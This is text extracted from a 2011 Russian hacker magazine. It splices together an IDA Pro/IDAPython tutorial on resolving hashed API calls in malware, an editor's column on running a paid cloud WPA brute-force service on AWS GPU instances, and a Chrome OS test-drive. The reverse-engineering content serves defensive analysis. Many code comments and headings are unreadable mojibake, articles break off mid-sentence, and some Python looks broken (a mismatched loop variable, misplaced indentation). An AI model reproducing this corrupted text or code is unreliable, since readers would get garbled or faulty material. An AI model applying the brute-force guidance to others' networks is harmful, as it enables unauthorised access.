   for (func=SegStart(ea); 

      func != BADADDR && func < SegEnd(ea);

      func=NextFunction(func)) 

   {

      // åñëè òåêóùèé àäðåñ ÿâëÿåòñÿ 

      // àäðåñîì ôóíêöèè

      if (GetFunctionFlags(func) != -1)

      {

         Message("Function %s at 0x%x\n",

            GetFunctionName(func), func);

         // íàõîäèì âñå ññûëêè íà äàííóþ

         // ôóíêöèþ è âûâîäèì

         for (ref=RfirstB(func); 

            ref != BADADDR;

            ref=RnextB(func, ref))

         {

            Message(" called from %s(0x%x)\n",

               GetFunctionName(ref), ref);

         }

      }

   }

}

Алгоритм действий простой. Сначала с помощью ScreenEA() 
получаем адрес, на котором в текущий момент находится 
курсор, и передаем его функциям SegStart() и SegEnd() для 
определения границ сегмента. После чего в цикле, с начала 
и до конца сегмента, перебираем адреса всех функций с 
помощью NextFunction(). Она принимает на вход адрес теку-
щей функции, возвращая адрес следующей или, если дру-
гих вызовов не найдено, значение -1 (BADADDR). В цикле 
с помощью GetFunctionFlags() проверяем, является ли дан-
ный адрес адресом функции (если не является, возвраща-
ется значение -1). Посредством функции GetFunctionName() 
получаем имя функции и выводим его. В завершение ото-
бражаем также список мест, откуда она вызывается — для 
этого используется цикл с RfirstB() и RnextB(). Полученный 
код сохраняем в файл с расширением .idc — теперь им 
можно пользоваться. Чтобы вызвать скрипт надо перейти в 
меню «File  Script File...» (используй комбинацию клавиш 
<Alt+F7>) и выбрать наш сценарий. В окне «Output Window» 
появится результат выполнения вроде этого:

Function start at 0x401000

Function sub_401060 at 0x401060

  called from start(0x401006)

Function sub_401090 at 0x401090

  called from sub_4010E0(0x401185)

Function sub_4010E0 at 0x4010e0

Готово!
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Схема интеграции Python в IDA

info
• Поскольку набирать 
длинные скрипты на 
Python во встроенной 
в IDA интерактивной 
консоли не очень 
удобно, рекомендую 
тебе взглянуть на 
следующий скриптик 
IPython (http://bit.ly/
rl4kK). Он осущест-
вляет интеграцию 
интерактивной 
Python-консоли, 
работать в которой 
намного удобнее, не-
жели в дефолтной. 

• IDA 6.0 Pro (hex-
rays.com/products.
shtml) — это по-
следняя доступная 
версия, ее придется 
покупать за деньги. 
Релиз 5.0 с недав-
него времени стал 
абсолютно бесплат-
ным, что не может не 
радовать.

INFO

Подробная инфор-
мация по модулям 
IDAPython: 
hex-rays.com/idapro/
idapython_docs;
информация том, как 
работает Appcall: 
hexblog.com/?p=113. 

links
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IDA + Python = IDAPython
Получилось несложно, но есть еще более простой способ разрабаты-
вать сценарии — использовать для этого плагин IDAPython. О главной 
фишке несложно догадаться из названия: плагин встраивает в IDA пол-
ноценный интерпретатор Python, позволяя при этом создавать скрипты, 
обладающие полным доступом ко всем возможностям языка сценариев 
IDC. Главное приемущество плагина — поддержка родной питоновской 
обработки данных и возможность использовать весь спектр различных 
модулей для Python. Также, аддон открывает доступ к значительной 
части функционала IDA SDK, позволяя тем самым писать сценарии для 
решения более сложных задач, которые сложно было бы реализовать на 
IDC. На официальном сайте (code.google.com/p/idapython) можно найти 
версию под свою операционную систему и версию IDA. Установка про-
ста — достаточно скопировать папки plugins и python из архива в папку 
IDA. Надо позаботиться о том, чтобы в системе был установлен Python. 
Совместимая версия интерпретатора указывается в имени архива 
IDAPython (например, сборке idapython-1.4.3_ida6.0_py2.6_win32.zip тре-
буется Python 2.6). С дистрибутивом распространяется полезная папка 
examples, которая поможет быстрее разобраться, что к чему.
После установки IDAPython становятся доступными три модуля:
• idaapi, обеспечивающий связь с IDA API;
• idc, предоставляющий интерфейс к IDC;
• idautils, обеспечивающий доступ к вспомогательным утилитам.
Все три модуля автоматически импортируются во все скрипты.

Немного практики
Для старта нужны базовые знания Python'а и умение подглядывать в 
документацию по IDAPython. Чтобы ощутить, насколько проще осущест-
вляется обработка данных на питоне, напишем скрипт для решения 
ранее озвученной задачи — отобразим на экране все вызываемые 
функции. Воспользуемся низкоуровневыми вызовами из модуля idaapi.

from idaapi import *

# ïîëó÷àåì òåêóùèé àäðåñ êóðñîðà

ea = get_screen_ea()

# ïîëó÷àåì ñåãìåíò ïî àäðåñó

seg = getseg(ea)

# èùåì â öèêëå îò íà÷àëà ñåãìåíòà äî êîíöà

func = get_func(seg.startEA)

while func is not None and func.startEA < seg.endEA:

   funcea = func.startEA

   print "Function %s at 0x%x" %

      (GetFunctionName(funcea), funcea)

   ref = get_first_cref_to(funcea)

   while ref != BADADDR:

      print "  called from %s(0x%x)" % 

         (get_func_name(ref), ref)

      ref = get_next_cref_to(funcea, ref)

      func = get_next_func(funcea)

Как видишь, скрипт получился очень похожим на IDC-реализацию. Но, 

как говорится, совершенству нет предела: можно написать аналогичный 
сценарий, который будет еще короче. В этом поможет модуль idautils:

from idautils import *

ea = ScreenEA()

for funcea in Functions(SegStart(ea), SegEnd(ea)):

   print "Function %s at 0x%x" % 

      (GetFunctionName(funcea), funcea)

   for ref in CodeRefsTo(funcea, 1):

      print "  called from %s(0x%x)" % 

         (GetFunctionName(ref), ref)

Вот где по-настоящему ощущается вся прелесть Python: сценарий 
вообще не нуждается в комментариях. Код с грамотно обозначенными 
названиями функций сам предельно ясно говорит, что он делает. 

Реальная задача
И все-таки. Посмотреть список функций, вообще говоря, можно и стан-
дартными средствами IDA. Так что мы всего лишь изобрели велосипед 
(хотя и познакомились с основными понятиями IDC и IDAPython). Но 
попробуем все-таки решить реально полезную задачу.
Как известно, IDA является основным инструментом вирусных анали-
тиков, используемым для статического анализа отловленной малвари. 
Малварь же, в свою очередь, стремится как можно сильнее усложнить 
процедуру исследования. Очень часто при исследовании вредоносных 
программ обнаруживается, что приложение не импортирует ника-
ких функций. Или, например, заменяет имена API-вызовов хэшами, 
определяя адрес нужной функции путем поиска в таблице экспорта, 
вычисляя хэш для каждого имени и сравнивая с желаемым. Рассмотрим 
этот прием подробнее. Программа из PEB (Process Environment Block) 
получает адрес библиотеки kernel32.dll и в ее таблице экспорта ищет 
по хэшу адреса LoadLibrary и GetProcAddress. С помощью этих двух 
вызовов можно подгружать остальные библиотеки и искать в них адре-
са нужных функций. Вообще функция GetProcAddress даже не нужна, 
так как, зная адрес библиотеки, можно самостоятельно получить адрес 
нужной функции из таблицы экспорта. Это популярный механизм, кото-
рый нередко используется в малвари. Итак, вырисовывается вполне 
понятная задача — написать скрипт, который автоматизировал бы поиск 
названий функций и упростил таким образом жизнь реверсера.
Чтобы разговор был предметным, напишем небольшое подопытное 
приложение, которое будет использовать вышеперечисленные техники 
маскировки. Весь функционал приложения будет сводиться к выводу 
сообщения «Hello, world!» при помощи функции MessageBox. Для этого 
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нам потребуется всего три типа вызовов: GetKernelAddress() для получе-
ния адреса kernel32.dll, CalcHash() для вычисления хэша по имени функ-
ции, а также GetProcAddressEx() для получения адреса функции по хэшу. 
Полный исходный код тестового приложения ты найдешь на диске:

.........

int main()

{

   HMODULE kernel32, user32;

   //ïîëó÷àåì àäðåñ kernel32.dll

   kernel32 = (HMODULE) GetKernelAddress();

   //ïîëó÷àåì àäðåñ ôóíêöèè LoadLibraryA

   tLoadLibraryA pLoadLibraryA = (tLoadLibraryA)

      GetProcAddressEx( kernel32, 0xC8AC8026 );

   //çàãðóæàåì áèáëèîòåêó user32.dll

   user32 = pLoadLibraryA("user32.dll");

   //ïîëó÷àåì àäðåñ MessageBoxA èç user32.dll è âûçûâàåì

   tMessageBoxA pMessageBoxA = (tMessageBoxA)

      GetProcAddressEx( user32, 0xABBC680D );

   pMessageBoxA(0, "Hello, world!", 0, 0);

   return 0;

}

..........

После компиляции код будет выглядеть примерно так: 

00401000     push    ebp

00401001     mov     ebp, esp

00401003     sub     esp, 10h

00401006     call    sub_401060 <--- GetKernel()

0040100B     mov     [ebp+var_8], eax

0040100E     push    0C8AC8026h <--- õýø LoadLibraryA

00401013     mov     eax, [ebp+var_8]

00401016     push    eax

00401017     call    sub_4010E0

0040101C     add     esp, 8

0040101F     mov     [ebp+var_4], eax

00401022     push    offset aUser32_dll ; "user32.dll"

00401027     call    [ebp+var_4]

0040102A     mov     [ebp+var_10], eax

0040102D     push    0ABBC680Dh <--- õýø MessageBoxA

00401032     mov     ecx, [ebp+var_10]

00401035     push    ecx

00401036     call    sub_4010E0

0040103B     add     esp, 8

0040103E     mov     [ebp+var_C], eax

00401041     push    0

00401043     push    0

00401045     push    offset aHelloWorld 

 ; "Hello world!"

0040104A     push    0

0040104C     call    [ebp+var_C]

0040104F     xor     eax, eax

00401051     mov     esp, ebp

00401053     pop     ebp

00401054     retn

Как видишь, никаких вызовов API-функций в чистом виде. Обращение 
к MessageBox превратилось в call [ebp+var_C] (по адресу 0040104C). 
Причем в случае настоящей малвари были бы зашифрованы еще и 
строки. На практике такой простой прием может значительно увеличить 
время анализа приложения. Как быть? Предположим, мы восстановили 
алгоритм работы программы и поняли, что значения, которые кладутся 
в стек по адресам 0040100E и 0040102D — это хэши функций. Но как 
узнать, что за функции скрываются за ними? В нашем текстовом образце 
— всего несколько вызовов, поэтому нет большой проблемы просто запу-
стить отладчик и посмотреть, куда приведет нас call. Но что делать, когда 
таких вызовов сотни? Вот тут-то и понадобятся возможности IDAPython.

Наше решение
После беглого анализа кода становится видно, что функция sub_401060 
возвращает адрес kernel32.dll. А sub_4010E0, вызываемая в программе 
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два раза, возвращает адрес функции из заданной библиотеки по хэшу. 
Заглянем внутрь. В теле функции присутствует всего один call (по адре-
су 00401185), после которого возвращаемое значение сравнивается с 
переданным хэшем. Очевидно, что это функция вычисления хэша по 
имени. Переименуем ее в calc_hash. Взглянув на код, становится ясно, 
что фрагмент является самодостаточным (то есть не вызывает внутри 
себя других функций) и легко извлекается из общего листинга. Это зна-
чит, что его можно «выдернуть» и встроить в нашу программу для под-
счета хэшей. Но мы поступим по-другому. 
Вместо этого мы задействуем IDAPython и напишем скрипт, который с 
помощью calc_hash будет вычислять хэши всех экспортируемых имен в 
рамках текущей отладочной сессии. План таков:
• извлечь тело функции calc_hash и сделать его доступным для исполь-
зования в скрипте;
• найти все экспортируемые имена;
• с помощью функции calc_hash посчитать хэш для каждого имени и 
запомнить результаты;
• вывести результаты в отдельном окне.
Итак, этап первый. Подготавливаем функцию calc_hash для использо-
вания в скрипте. Так как она является самодостаточной, то мы можем 
извлечь ее тело из базы данных IDA и вызывать ее при помощи ctypes:

# Èçâëåêàåì òåëî ôóíêöèè èç áàçû IDA

body = idaapi.get_func(idc.LocByName('calc_hash'))

# Âûäåëÿåì áóôåð ïðè ïîìîùè VirtualAlloc, ïåðåäàâàÿ 

òóäà çíà÷åíèÿ MEM_COMMIT, PAGE_EXECUTE_READWRITE (óêà-

çûâàåì, ÷òî ïàìÿòü èñïîëíÿåìàÿ)

calc_hash_ptr = windll.kernel32.VirtualAlloc(0,

   len(body), 0x1000, 0x40)

# Êîïèðóåì òåëî ôóíêöèè â âûäåëåííûé áóôåð

memmove(calc_hash_ptr, body, len(body))

# Çàäàåì ïðîòîòèï ôóíêöèè ïðè ïîìîùè CFUNCTYPE. Ïåðâûé 

ïàðàìåòð — òèï âîçâðàùàåìîãî çíà÷åíèÿ, âòîðîé — òèï 

ïåðåäàâàåìîãî àðãóìåíòà

proto = CFUNCTYPE(c_uint32, c_char_p)

# Ñîçäàåì ýêçåìïëÿð ôóíêöèè

calc_hash = proto(calc_hash_ptr)

В принципе, реально использовать механизм Appcall для дости-
жения той же самой цели. Выполнив в командной строке питона 
Python>hex(Appcall.calc_hash("LoadLibraryA")&0xfffffff

f) мы могли бы получить значение вычисленного хэша 0x0C8AC8026L. 

Но так как функция calc_hash будет вызвана по крайней мере 9 тысяч 
раз (для библиотеки kernel32.dll), то мы будем использовать первый 
рассмотренный способ как более быстрый.
Следующий этап — поиск экспортируемых имен. Тут я должен сделать 
небольшое замечание: отладочная сессия для этого должна быть 
активна. Другими словами, наша программа должна быть запущена под 
отладчиком. Мы предварительно ставим брейкпоинт, запускаем про-
грамму в IDA и, когда она остановится на бряке, запускаем на выпол-
нение наш скрипт. Каждый раз при запуске отладочной сессии дебагер 
IDA Pro просит отладочный модуль предоставить список отладочных 
имен. По сути, отладочными именами являются экспортируемые имена 
всех загруженных модулей. Чтобы получить этот список программным 
путем, воспользуемся вызовом idaapi.get_debug_names(). Реализуем 
функцию fetch_debug_names, которая будет возвращать список имен в 
формате (адрес, имя функции, имя модуля):

def fetch_debug_names():

   ret = []

   dn = idaapi.get_debug_names(idaapi.cvar.inf.minEA,

      idaapi.cvar.inf.maxEA)

   for addr in dn:

      n = dn[addr]

      i = n.find('_')

      ret.append((addr, n[i+1:], n[:i]))

   return ret

Каждое возвращенное отладочное имя имеет следующий формат: 
Modulename_ApiName. Вот почему мы разделяем эту строку по символу 
«_». Теперь у нас есть функция для вычисления хэшей и список всех 
имен. Можно начинать генерировать хэши. Это уже третий этап:

dn = fetch_debug_names()

cache = {}

for add, name, modname in dn:

   hash = calc_hash(name)

   if modname not in cache:

      cache[modname] = []

   cache[modname].append((name, hash, addr))

После этого остается только вывести результат в красивом окне. В 
IDAPython есть возможность добавлять свои окна со списком, состоя-
щим из чего-либо (как дефолтное окно со списком имен функций). Для 
этого нужно создать класс-наследник от типа Chooser2. Делается это 
довольно просто, поэтому подробно останавливаться на этом не буду. 
На диске есть пример и полная версия нашего скрипта, которую теперь 
ты можешь использовать. Хочу заметить, что в сценарии также реали-
зован импорт вычисленных хэшей в Enums (список). Это выглядит так. 
Допустим, что мы встретили в коде очередной вызов функции по хэшу:

push 3FC1BD8Dh

....

call    sub_4010E0

Теперь мы можем нажать <m> и выбрать соответствующую ему функцию, 
после чего вызов сразу примет удобочитаемый вид:

push hash_kernel32_GetModuleHandleA

....

call    sub_4010E0

Удобно? Еще бы!
Вот так, единожды решив задачу, можно использовать наработки во 
время реверсинга вновь и вновь. Конечно, одного прочтения статьи 
недостаточно, чтобы сходу начать разрабатывать сценарии для IDA. Но 
наша задача была в том, чтобы показать, как можно быстро и изящно 
заточить дизассемблер под себя и прокачать его функциональность. 
Этим постоянно пользуются многие реверсеры и ресечеры, в том числе 
наши постоянные авторы. z
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ÊÎËÎÍÊÀ ÐÅÄÀÊÒÎÐÀ 
Мне всегда нравилось, как люди совер-
шенно легально зарабатывают деньги 
на околохакерских сервисах. Полностью 
автоматизированные механизмы избав-
ляют от рутинных действий — надо лишь 
поддерживать работу софта и серверов. 
Деятельность ведется в рамках закона, 
что исключает возможное давление со 
стороны органов. Аспект работы в обла-
сти ИБ греет душу :). Примеров таких 
разработок можно привести множество. 
Веб-фронтенд для криптора, который 
упаковывает исполняемые файлы, тем 
самым усложняя анализ и обнаружение 
малвари антивирусами. Или сервис для 
взлома CAPTCHA, предлагающий разра-
ботчикам ботов специальный API, через 
который можно загрузить на сервер кар-
тинки, которые практически мгновенно 
будут распознавать кропотливые китайцы 
за ошеломляюще низкую таксу вроде 
«1000 CAPTCHA = $1». Последний тренд 
— это облачные сервисы для выполнения 
ресурсоемких задач. Хорошим примером 
тут является WPA Cracker (wpacracker.
com), который за небольшую плату ($17) 
позволяет выполнить брутфорс-атаку на 
защищенную WPA-PSK беспроводную 
сеть. Напомню, перебор — это единствен-
ный способ подобрать ключ для закрытой 
сети Wi-Fi (да и то исключительно при 
наличии дампа трафика с перехваченной 
последовательностью авторизации, так 
называемого WPA Handshake). А занять 
он может дни, месяцы, годы. Для увели-
чения эффективности перебора сначала 
использовались специализированные 
словари, потом были сгенерированы 
радужные таблицы, позже появились ути-
литы, задействовавшие технологии NVIDIA 
CUDA и ATI Stream для аппаратного уско-
рения процесса за счет GPU, и вот теперь 
в нашем распоряжении — облачные 
сервисы. Тот же WPA Cracker предлагает 
доступ к кластеру из 400 CPU, осущест-
вляющему перебор по словарю со 135 
миллионами слов. На обычном двухъядер-
ном компе такой перебор занял бы 5 дней, 
а на мощностях кластера — 20 минут.
Может показаться, что реализовать что-
то подобное — чрезвычайно сложная 
задача. На самом же деле все в точности 
наоборот. С развитием облачных плат-
форм создать такой сервер и даже начать 

на этом зарабатывать стало реально как 
никогда. В статьях прошлого номера мы 
рассказывали о PR-акции от Amazon 
Web Services (aws.amazon.com), в рамках 
которой каждый может бесплатно попро-
бовать облачные технологии компании, а 
также на примере разобрались, как легко 
и быстро использовать технологию, запу-
стив сервер и подняв на нем VPN-демон 
(см. PDF-версию статьи на диске). Чем 
это лучше обычного хостинга или дедика? 
Очень просто: AWS за считанные секунды 
позволяет запустить сколько угодно таких 
серверов (или, если говорить в терминах 
технологии, инстансов) и платить только 
за фактическое время их использования. 
При таком раскладе идея создать кластер 
для решения ресурсоемких задач, который 
включался бы по требованию, напраши-
вается сама собой. Тем более, что Amazon 
предоставляет мощный и понятный API, 
позволяя автоматизировать управление 
серверами с помощью элементарных 
скриптов. Начинает вырисовываться 
понятная схема: один инстанс, самой 
простой конфигурации, должен работать 
постоянно и принимать от пользователя 
запросы на выполнение перебора. А непо-
средственно кластер автоматически вклю-
чается по требованию, причем строго на 
то время, которое потребуется для реше-
ния задачи. Но это еще не все. 
С недавнего времени компания пополнила 
ряд возможных конфигураций инстансов, 
добавив в него так называемые Cluster 
GPU Instances. Эта конфигурация оснаще-
на сразу двумя GPU-картами NVIDIA Tesla 
Fermi M2050, каждая из которых содержит 
448 ядер и 3 Гб памяти. Надо ли говорить, 
что это настоящее сокровище для тех 
пока немногочисленных утилит, которые 
умело используют технологии акселера-
ции за счет GPU? Впрочем, даже если не 
брать в расчет этот приятный факт, кон-
фиг инстанса как нельзя более подходит 
для решения ресурсоемких задач: 22 Гб 
оперативной памяти, 2 четырехъядерных 
процессора, 1690 Гб памяти локально-
го диска, 64-битная система. В том, как 
начать работу с сервером и запустить свои 
инстансы, можно разобраться за десять 
минут. По сути, нужно только выбрать 
готовый образ с операционной системой. 
Проверенный вариант — Cluster Instances 

HVM CentOS 5.5, для которого поддержка 
CUDA является встроенной по умолчанию, 
поэтому потребуется минимум дополни-
тельных настроек. В момент создания сер-
вера выбираем AMI-образ с идентифика-
тором ami-aa30c7c3 и тип инстанса Cluster 
GPU (cg1.4xlarge, 22GB). Вот так: всего 
несколько кликов мыши — и мы имеем в 
распоряжении мощный сервер, к которому 
легко подключиться по SSH и установить 
приложения, которые используют техно-
логию CUDA. Для примера можно попро-
бовать хэш-крякер CUDA-Multiforcer (на 
официальном сайте cryptohaze.com поми-
мо дистрибутива ты найдешь еще и радуж-
ные таблицы) или, если возвращаться к 
нашему примеру, прогу для брута WPA/
WPA2-PSK — Pyrit (code.google.com/p/
pyrit). Для запуска, правда, придется чуть 
поработать напильником. Но все необхо-
димые правки конфига подробно описаны 
в мануале bit.ly/ec2-gpu.
Запустить такой сервер для нас — дело 
пары секунд. Но самое главное, что еще 
через пару секунд мы можем получить вто-
рой такой же инстанс. Вот уже и кластер. 
Добавляем третий, четвертый и так далее. 
По умолчанию каждый аккаунт в Amazon 
может использовать до восьми инстансов 
Cluster GPU, но этого вполне должно хва-
тить. Тем более, что за использование каж-
дого сервера придется платить. И немало 
— $2.10 за час. z

Êàê îðãàíèçîâàòü áðóòôîðñ-ñåðâèñ?
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Правильный ноутбук глазами Google — это уже интересно. Загрузка 
занимает около десяти секунд, а выход из спящего режима про-
исходит мгновенно. Это не те обещанные когда-то семь секунд, но 
уже неплохо. Нетбук, к тому же с системой, полностью завязанной 
на онлайн, не мог остаться без беспроводных модулей. Поэтому 
помимо адаптера 802.11b/g/n здесь есть еще и встроенный модем 
3G. Для видео-звонков предусмотрена неплохая веб-камера. 
Клавиатура ноутбука — полноразмерная, а площадь тачпада замет-
но увеличена. При весе в 1.7 кг (казалось бы, не позволяющем 
рассчитывать на мощный аккумулятор) ноутбук работает около 8 

часов в обычном режиме. В режиме Standby, по словам производи-
теля, новинка продержится неделю. От каких привычных элементов 
решил избавиться Google? Во-первых, от подверженных механиче-
скому воздействию HDD-дисков — вместо них используется непри-
хотливая flash-память. Во-вторых, от клавиши Caps Lock — вместо 
нее теперь специальная кнопка для быстрого поиска. И в-третьих, 
от недостаточного охлаждения. Звучит неплохо, да? И вот, когда 
в процессе чтения характеристик уже начинают течь слюнки и 
хочется сказать: «Да-да! Я именно такой активный пользователь 
Инета, который точно будет использовать Cr-48 каждый день и 

XÀÊÅÐ  02  (145)  2011

  Îïåðàöèîííàÿ ñèñòåìà Google Chrome OS áëèçêà ê íàì êàê íèêîãäà. 
Â äåêàáðå êîìïàíèÿ îòïðàâèëà 60 000 íîóòáóêîâ Cr-48 íà áàçå íîâîé ÎÑ 
òåì, êòî îñòàâèë çàÿâêè è ïîäîøåë ïî ðÿäó òðåáîâàíèé. Ïîëüçîâàòåëè 
èç Ðîññèè êàê îáû÷íî îêàçàëèñü â ïðîëåòå. È ïóñêàé íåòáóêà îò Google 
ìû íå óâèäèì, îöåíèòü ñàìó ÎÑ ìîæåì âïîëíå!

  Капитан Улитка 

Óñòðàèâàåì òåñò-äðàéâ íîâîé ÎÑ îò Google

GOOGLE 
CHROME OS 
ÓÆÅ ÑÅÉ×ÀÑ

Cr-48 — первый ноутбук на 
Google Chrome OS



выдавать подробнейший фидбек», на глаза попадается 
дополнительное уточнение, что пилотная программа 
распространяется только на жителей США. Так что 
попробовать новый гаджет можно разве что купив его у 
барыг на eBay. С другой стороны, пощупать операцион-
ную систему, причем практически в том виде, в котором 
она установлена на борту Cr-48, можно и на обычном 
компьютере или ноутбуке.

Так какая она — ОС 
от Google?
Прежде чем начинать эксперименты, давай разбе-
ремся, что вообще такое Google Chrome OS. Если в 
двух словах, это ОС-браузер. Идея в том, что кроме 
браузера, который запускается через несколько секунд 
после включения устройства, тебе ничего больше и 
не нужно. Да-да, так и есть. Хочешь офисный пакет? 
Пожалуйста! Google Docs. Почтовый клиент? Google 
Mail! IM-клиент? Google Talk! И так далее… В ОС есть 
только браузер, а в качестве приложений устанавлива-
ются веб-аппликации. Теперь это особенно просто бла-
годаря появлению специального магазина приложений 
Chrome Web Store (о нем ниже). Компания Google не 
раз заявляла, что ни одного действительно значимого 
десктопного приложения со времен Skype’а, который 
появился в 2003 году, разработано не было, и любая 
программа может отлично чувствовать себя в вебе. 
Сказано — сделано. Сначала были выпущены револю-
ционные по своей функциональности онлайн-сервисы. 
Затем появился браузер Google Chrome, в котором эти 
приложения чувствовали себя максимально комфортно, 
причем как в плане производительности, так и в плане 
поддержки всех современных стандартов (в том числе 
HTML5 и Flash). И вот теперь — целая операционная 
система, в которой основной упор сделан на работу 
браузера. Все оптимизации направлены на то, чтобы 
пользователь уже через считанные секунды после 
включения мог получить доступ к Chrome и запустить 
нужные ему приложения. Есть ли в этом смысл?
На деле такой подход дает ряд неоспоримых плюсов. 
Данные хранятся на сервере — они не потеряются и в 
любой момент доступны с любого другого компьютера. 
Из всех приложений в системе фактически работает 
один лишь браузер, и это хорошо в плане безопасности 
— обновить одну программу, установив все заплатки 

(к тому же, это делается автоматически) проще, чем 
апдейтить систему и многочисленные программные 
продукты. Важен аспект быстродействия — прило-
жения, пускай и в окружении браузера, выполняются 
очень быстро: в этом заслуга многочисленных оптими-
заций, специального JS-движка V8, а также аппаратно-
ускоренной 3D-графики. В конце концов, это банально 
простота. Пользователю не надо морочить голову по 
поводу установки основных приложений — в Chrome 
OS все сделано за него. Из этих плюсов, впрочем, 
вытекает один, но очень серьезный минус. Я говорю о 
тотальной привязанности к Сети. Лишь некоторые веб-
приложения могут работать офлайн (тут опять же спа-
сибо заранее разработанной технологии Google Gears). 
Остальным же интернет строго необходим.

Chrome OS vs 
Chromium OS
Вообще говоря, познакомиться с Google Chrome OS уже 
давно может каждый. Дело в том, что большая часть исхо-
дных кодов находится в совершенно открытом доступе. В 
рамках этого проекта система носит название Chromium 
OS. Возникает вопрос: чем тогда эти две ОС отличаются 
друг от друга? Фундаментально это один и тот же код, но 
отличия все же есть. Chrome OS автоматически устанавли-
вает апдейты, в то время как в Chromium OS такой функ-
ции пока не реализовано. Первая будет поддерживаться 
Google, а поддержка второй ложится на плечи open-source 
сообщества. Chromium OS является проектом с открытым 
кодом и в основном рассчитан на разработчиков, которые 
могут изменять имеющийся код и создавать свои соб-
ственные версии. Chrome OS же предназначен для обыч-
ных пользователей и будет устанавливаться на ноутбуки 
OEM-производителями. Причем это единственный вариант 
получить эту ОС: она не будет продаваться в коробках и не 
будет доступна для загрузки в виде дистрибутива. Причина 
проста: Chrome и правильный с точки зрения Google ноут-
бук — понятия неделимые.
Но мы можем совершенно спокойно взять исходники с 
chromium.org/chromium-os, открыть подробную инструк-
цию и собрать свою собственную Chrome OS. С другой 
стороны, можно даже не возиться с make и build. Есть 
более простой вариант — найти уже собранную версию 
Chromium OS. Таких готовых сборок довольно много, но 
наиболее популярными являются версии от парня с ником 
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Делаем загрузочную USB c Chromium OS

info

Несмотря на большую 
активность Google 
по продвижению 
Chrome OS, бывший 
сотрудник компании, 
Пол Бакхайт, сделал 
заявление, что про-
ект операционной 
системы Chrome OS 
не имеет будущего. 
По его мнению, в 
Chrome OS изначаль-
но не было никакого 
смысла, поскольку 
большая часть воз-
можностей этой плат-
формы реализована 
в Android. Поэтому 
уже в следующем году 
проект Chrome OS 
либо будет свернут, 
либо объединен с 
Android.

INFO

Популярный ресурс 
по Chrome OS: www.
chromeossite.com;
Русскоязычный ре-
сурс по ОС от Google: 
www.osbygoogle.ru.

links

HTTP://WWW

Рабочие сборки 
Chrome OS ты най-
дешь на нашем диске

dvd

DVD
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Hexxeh (chromeos.hexxeh.net). Последняя сборка имеет кодовое назва-
ние Flow и помимо оригинального кода несет в себе ряд полезных 
доработок. 
В дополнение к оригинальной версии ты получаешь лучшую под-
держку железа и веб-камеры, автоматические обновления, а также 
улучшенный интерфейс. Все файлы отлично умещаются на 2Гб usb-
флешке.

Два варианта загрузки
На своем сайте Hexxeh предлагает два разных образа Chromium OS: 
VMWare-image для запуска системы под VMware и usb-image, чтобы 

закинуть все данные на флешку и загружаться с нее. Оба занимают 
примерно по 300 Мб.
Чтобы запустить образ виртуальной машины, необязательно искать 
полную версию VMware — с запуском вполне справится бесплатная 
прога VMware Player (vmware.com/products/player). После распаковки 
архива у тебя будет два файла: конфиг виртуалки (ChromeOS.vmx) 
и ее виртуальный HDD (ChromeOS.vmdk). После запуска VMware 
Player’а необходимо выбрать в меню пункт «Open a Virtual Machine» и 
указать пункт до vmx-файла. Через некоторое время ты увидишь окно 
загруженной Chromium OS. Видишь, как все просто. У запуска под 
виртуалкой есть одно большое преимущество: система точно зара-
ботает. Нет никакой зависимости от того, на каком железе работает 
компьютер и ноутбук. С другой стороны, по меньшей мере нелепо 
пробовать в действии ОС, которая позиционируется как сверхбы-
страя, под тормозным виртуальным окружением. Поэтому я все же 
рекомендую загрузить ОС от Google с флешки.
Образ с файлами для загрузки с usb-накопителя распространяется 
на сайте Hexxeh’а в формате IMG и упакован в tag.gz. Распаковав 
образ с помощью WinRAR или 7-zip, необходимо записать его на 
флешку (>= 2 Гб). Далее — перенести на флешку файлы из образа. В 
этом поможет утилита Image Writer for Windows (launchpad.net/win32-
image-writer), которой нужно будет указать путь до IMG-файла и имя 
флешки, на которую будет выполняться запись. Не пугайся, если 
во время запуска проги выскочит ошибка «File error», ругаясь на 
невозможность получить дескриптор девайса. Это нормально. Файлы 
все равно будут перемещены из IMG-файла на флешку. Через неко-
торое время можно будет ребутать компьютер и, не забыв включить 
загрузку с usb-накопителя в БИОСе, пощупать реально работающую 
систему.

Первый запуск
Загрузившись, ОС попросит ввести логин/пароль. В случае Chrome 
ОС здесь нужно было бы ввести данные от своего Google-аккаунта. 
Но, так как мы имеем дело со сборкой Flow, то дефолтные логин и 
пароль — facepunch/facepunch. После входа в систему сразу загружа-
ется браузер :). 
В левом углу на уровне вкладок будет логотип Chrome — это страни-
ца с ярлыками приложений (надо понимать, что в большинстве своем 
это просто закладки, которые открывают страницы соответствующих 
веб-сервисов). В правом верхнем углу будет иконка для настройки 
браузера, пиктограмма для отображения текущего заряда батареи и 
простенький менеджер настройки сети. Собственно, это все, больше 
ничего нет — даже для того, чтобы сделать скриншот, надо устанав-
ливать расширение для браузера.
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Окно авторизации в Chromium FlowVMware Player — бесплатная программа для запуска 
виртуальных машин

Обычные линуксовые программы 
в Chromium OS

Несмотря на загоны Google’а по поводу того, что приложения 
должны быть выполнены в виде веб-сервиса, Chromium OS 
базируется на ядре Ubuntu. А это значит, что при желании можно 
установить все привычные линуксовые программы. Для этого 
делаем следующее:
1. Открываем окно терминала уже знакомой горячей клавишей 
<Ctrl+Alt+T>
2. Далее создаем вспомогательные каталоги:

$ sudo mkdir -p /var/cache/apt/archives/partial

$ sudo mkdir -p /var/log/apt

3. Перемонтируем корень в rw:

$ sudo mount -o remount,rw /

4. Создаем файл с описанием репозиториев sources.list:

$ echo "deb http://mirror.yandex.ru/ubuntu karmic 

main restricted" | sudo tee -a /etc/apt/sources.

list

5. Получаем список пакетов:

$ sudo apt-get update

6. Устанавливаем все необходимое. 
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В новом менеджере окон есть хоткеи на все случаи жизни. Достаточно 
нажать <F8>, чтобы увидеть интерактивную справку по хоткеям (под-
робнее во врезке). Если хочется поковыряться в системе поглубже, 
нажми <Ctrl+Alt+t> и откроется окно родного терминала. К сожалению, 
поддержка железа у Chromium OS пока хромает. На сайте есть wiki, в 
котором составляется список проверенных ноутбуков и нетбуков, на 
которых ОС гарантированно заработает. К примеру, на двух из трех 
тестовых ноутбуков не захотела работать беспроводная сеть.
Так же, как в обычных дистрибутивах Linux есть менеджеры пакетов, 
для Chrome OS есть магазин приложений Chrome Web Store (chrome.

google.com/webstore). Функционально такой каталог аналогичен 
Apple App Store, Android Market и другим магазинам приложений для 
мобильных устройств: каждая программа имеет описание, рецензии 
пользователей и общий рейтинг. 
Большинство приложений бесплатны и устанавливаются в один 
клик мыши. Есть и платные — в этом случае деньги при покупке 
списываются со счета, который необходимо привязать к свое-
